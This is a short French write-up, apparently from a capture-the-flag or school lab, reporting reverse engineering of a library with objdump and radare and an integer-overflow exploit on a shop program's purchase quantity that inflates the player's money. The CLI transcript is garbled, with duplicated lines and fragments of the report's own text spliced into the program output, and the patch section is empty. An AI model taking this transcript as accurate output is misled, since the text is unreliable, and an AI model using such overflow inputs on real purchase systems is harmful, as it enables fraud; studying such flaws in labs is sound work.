Rapport

Reverse:

Reverse sur la libsecret.so. Outils utilisés pour la réalisation de la ./2016_P3p1t0/reverse/libsecret.c:

- objdump
- radar

Exploit:

"int overflow" sur le nombre de produit acheté ce qui afecte aussi le porte monaie

```
pepitoCLI>2 putainmonPPC
[ 2 putainmonPPC ] | Liberation Mono
Money : 0
Ingredient stock
==========
[10] - MDMA
[10] - Whisky
[10] - Cum
[10] - LSD
[10] - Chocolate
[10] - Flour
[10] - Flour
For sale
======
Money : 0
Ingredient stock
=========
[10] - MDMA<sub>Exploit</sub>:
[10] - Whisky
[10] - Cum "int overflow" sur le nombre de prod
[10] - LSD monaie
[10] - Chocolate
[10] - Flour
For sale
pepitoCLI>6 putainmonPPC LSD 9000000000
['6 putainmonPPC LSD 9000000000']
Ingredient successfully acquired.
Ingredient successfully acquired.
pepitoCLI>2 putainmonPPC
['2 putainmonPPC']
Money : 1043332096
Ingredient stock
=========
Money : 1043332096
[10] - MDMA
Ingredient stock
[10] - Whisky
[10] - Cum
[1625817610] - LSD
[10] - Chocolate
[10] - Flour
For sale
======
[10] - MDMA
```

Patch: